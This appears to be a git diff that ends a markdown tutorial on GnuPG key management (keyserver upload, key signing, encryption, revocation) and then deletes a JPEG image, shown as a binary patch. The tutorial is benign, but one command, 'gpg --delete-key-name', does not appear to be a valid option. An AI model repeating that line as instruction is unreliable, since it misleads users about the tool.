YOUR_NAME-pubkey.asc +``` + +#### By publishing it in a public key server +You can export your key to the [GnuPG public key server](keys.gnupg.net). For this, use your key's name (the hexadecimal number in front of the key): + +```sh +$ gpg --send-key KEY_NAME +``` + +You can also export it to [pgp.mit.edu](pgp.mit.edu): + +```sh +$ gpg --keyserver hkp://pgp.mit.edu --send-key KEY_NAME +``` + +### V. Importing Someone's Key + +There are many ways you can import someone's public key: + +#### By a shared file +If you have the ASCII file, you can type: + +```sh +$ gpg --import PUBKEY_FILE +``` + + +#### By Public Key Server +To search for someone's key in the public key server, type: + +```sh +$ gpg --search-keys NAME +``` + +Note: this is **not** very safe since you can't be sure of the key's authenticity. + +### V. Signing a key: The Web of Trust + +Signing a key tells your software that you trust the key that you have been provided (you have verified that it is associated with the person in question). + +To sign a key type: + +```sh +$ gpg --sign-key PERSON_EMAIL +``` + +You should allow the person whose key you are signing to enjoy the advantages of your trusted relationship, done by sending her back the signed key: + +```sh +$ gpg --export --armor PERSON_EMAIL +``` + +When you received a similar *trusted* key, you can import it into your GPG database: + +```sh +$ gpg --import FILENAME +``` + +### VI. Other Useful Commands + +#### To delete a key from your keyring: +```sh +$ gpg --delete-key-name KEY_NAME +``` + +#### To edit a key (for example, the expiration date): + +```sh +$ gpg --edit KEY_NAME +``` + + + +#### If you have more than one key: + +Edit ```~/.gnupg/gpg.conf``` with your favorite key: + +``` +default-key KEY_NAME +``` + +#### Keep your keys fresh: + +```sh +$ gpg --refresh-keys +``` + + + +#### To list your keys: + +```sh +$ gpg --list-keys +``` + +#### And of course: +```sh +$ man gpg +``` + + +### VII. Encrypting and Decrypting Messages + + +With someone's **public key**, you can **encrypt** messages that can only be decrypted with her secret key. You can also **verify signatures** that was generated with her secret key. + +On the other hand, with your secret key, you can **decrypt** messages that were encrypted using your public key. You can also and **sign messages**. + +With GPG, you encrypt messages using the ```--encrypt``` flag. + +The command below encrypts the message signing with your private key (to guarantee that is coming from you). It also generates the message in a text format, instead of raw bytes: + +```sh +$ gpg --encrypt --sign --armor -r PERSON_EMAIL FILE_TO_BE_ENCRYPTED +``` + +If you want to be able to read this message with your own email address, you should add another recipient flag ```-r``` with your email address. + +To decrypt a message, type: + +```sh +$ gpg FILENAME +``` + + +### VIII. Revoking a key + +Whenever you need to revoke a key (because it might be compromised, for example), you can generate a revocation certificate with: + +```sh +$ gpg --output my_revocation.asc --gen-revoke KEY_NAME +``` + +To import the revocation into your keyring: + +```sh +$ gpg --import my_revocation.asc +``` + +Finally, this command sends the revoked key to the public key server: + +```sh +$ gpg --keyserver pgp.mit.edu --send-keys KEY_NAME +``` + + + +---- + + +## Final Comments + +If you prefer a GUI instead of the command line, I strongly recommend [seahorse](https://apps.fedoraproject.org/packages/seahorse/bugs). It makes it really easy to manage all your keys (not only OpenPGP) and passwords. + +Another nice (alpha) project is [keybase.io](https://keybase.io/). It's a web of trust social network, where you can sign your key with your public profiles. Check [mine here](https://keybase.io/bt3). Encryption and decryption can be done in the command line with their [node.js](https://keybase.io/docs/command_line) application. I don't trust uploading my private key anywhere, but I do think that the idea is better than a simple public key server. + + + +Finally, a word about browser plugins: although there are several of them to encrypt webmail with OpenPGP, such as [mymail-crypt](https://chrome.google.com/webstore/detail/mymail-crypt-for-gmail/jcaobjhdnlpmopmjhijplpjhlplfkhba?hl=en-US) or [Mailvelope](https://www.mailvelope.com/), I particularly don't recommend this solution if your message is very sensitive. + +If you are serious about ensuring your long-term privacy, the safest way to go is to use a text editor to write your email message, encrypting the message outside of the web browser, and then cutting and pasting into your webmail interface. This will guarantee that only the recipient will be able to read your email. + +If you really need something in your browser, the creator of [Cryptocat](https://crypto.cat/) recently released [minilock](https://minilock.io/). This tool uses [Curve25519 elliptic curve cryptography](http://en.wikipedia.org/wiki/Curve25519) (the same as in Cryptocat) so that the public keys are much shorter (and easier to share). Remember, it's a new app, so it might not yet be the best choice for the high-stakes environment (but it's worth keeping tabs on this project). + +--- + +## Further Readings + +- [The GNU Privacy Handbook](https://www.gnupg.org/gph/en/manual.html) diff --git a/DJI_0062.jpg b/DJI_0062.jpg deleted file mode 100644 index aa5c4e2f0a8f6f38ac055fda3ecb9196dba43cb9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2740063 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 